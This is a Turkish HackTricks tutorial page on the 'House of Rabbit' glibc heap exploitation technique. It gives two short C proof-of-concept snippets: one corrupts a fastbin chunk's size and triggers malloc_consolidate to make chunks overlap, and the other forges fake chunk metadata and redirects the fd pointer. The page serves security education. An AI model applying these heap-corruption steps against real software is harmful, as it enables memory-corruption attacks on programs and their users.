94 lines
4.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# House of Rabbit
{{#include ../../banners/hacktricks-training.md}}
### Gereksinimler
1. **Hızlı bin fd işaretçisini veya boyutunu değiştirme yeteneği**: Bu, hızlı bin içindeki bir parçanın ileri işaretçisini veya boyutunu değiştirebileceğiniz anlamına gelir.
2. **`malloc_consolidate` tetikleme yeteneği**: Bu, ya büyük bir parça ayırarak ya da üst parçayı birleştirerek yapılabilir; bu, yığın parçalarını birleştirmeye zorlar.
### Hedefler
1. **Üst üste binen parçalar oluşturma**: Bir parçanın diğerinin üstüne gelmesini sağlamak, böylece daha fazla yığın manipülasyonu yapılmasına olanak tanımak.
2. **Sahte parçalar oluşturma**: Yığın işlemleri sırasında sahte bir parçayı meşru bir parça olarak ele alması için ayırıcıyı kandırmak.
## Saldırı Adımları
### POC 1: Hızlı bin parça boyutunu değiştirme
**Amaç**: Hızlı bin parçasının boyutunu manipüle ederek üst üste binen bir parça oluşturmak.
- **Adım 1: Parçaları Ayır**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
```
İki adet 0x40 baytlık parça ayırıyoruz. Bu parçalar serbest bırakıldıklarında hızlı kutu listesine yerleştirilecektir.
- **Adım 2: Parçaları Serbest Bırak**
```cpp
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
```
İki parçayı serbest bırakıyoruz ve bunları fastbin listesine ekliyoruz.
- **Adım 3: Parça Boyutunu Değiştir**
```cpp
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
```
`chunk1`'in boyut meta verisini 0xa1 olarak değiştiriyoruz. Bu, birleştirme sırasında allocator'ı kandırmak için kritik bir adımdır.
- **Adım 4: `malloc_consolidate`'i Tetikle**
```cpp
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
```
Büyük bir parça ayırmak, hızlı bin içindeki küçük parçaları birleştiren `malloc_consolidate` fonksiyonunu tetikler. Manipüle edilmiş `chunk1` boyutu, `chunk2` ile örtüşmesine neden olur.
Konsolidasyondan sonra, `chunk1` `chunk2` ile örtüşür ve daha fazla istismar olanağı sağlar.
### POC 2: `fd` işaretçisini değiştir
**Amaç**: Hızlı bin `fd` işaretçisini manipüle ederek sahte bir parça oluşturmak.
- **Adım 1: Parçaları Ayır**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
```
**Açıklama**: Yığın için sahte parça oluşturmak üzere bir küçük ve bir büyük iki parça ayırıyoruz.
- **Adım 2: Sahte parça oluştur**
```cpp
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
```
`chunk2` içine sahte parça meta verisi yazarak daha küçük parçaları simüle ediyoruz.
- **Adım 3: `chunk1`'i serbest bırak**
```cpp
free(chunk1); // Frees the chunk at 0x602000
```
**Açıklama**: `chunk1`'i serbest bırakıyoruz, hızlı listeye ekliyoruz.
- **Adım 4: `chunk1`'in `fd`'sini Değiştir**
```cpp
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
```
**Açıklama**: `chunk1`'in ileri işaretçisini (`fd`) `chunk2` içindeki sahte parçamıza işaret edecek şekilde değiştiriyoruz.
- **Adım 5: `malloc_consolidate`'i tetikle**
```cpp
malloc(5000); // Allocate a large chunk to trigger heap consolidation
```
Büyük bir parça yeniden tahsis edildiğinde `malloc_consolidate` tetiklenir, bu da sahte parçayı işler.
Sahte parça, hızlı listeye dahil olur ve bu da onu daha fazla istismar için meşru bir parça haline getirir.
### Özet
**House of Rabbit** tekniği, bir hızlı parça boyutunu değiştirerek üst üste binen parçalar oluşturmayı veya sahte parçalar oluşturmak için `fd` işaretçisini manipüle etmeyi içerir. Bu, saldırganların yığında meşru parçalar oluşturmasına olanak tanır ve çeşitli istismar biçimlerini mümkün kılar. Bu adımları anlamak ve uygulamak, yığın istismar becerilerinizi geliştirecektir.
{{#include ../../banners/hacktricks-training.md}}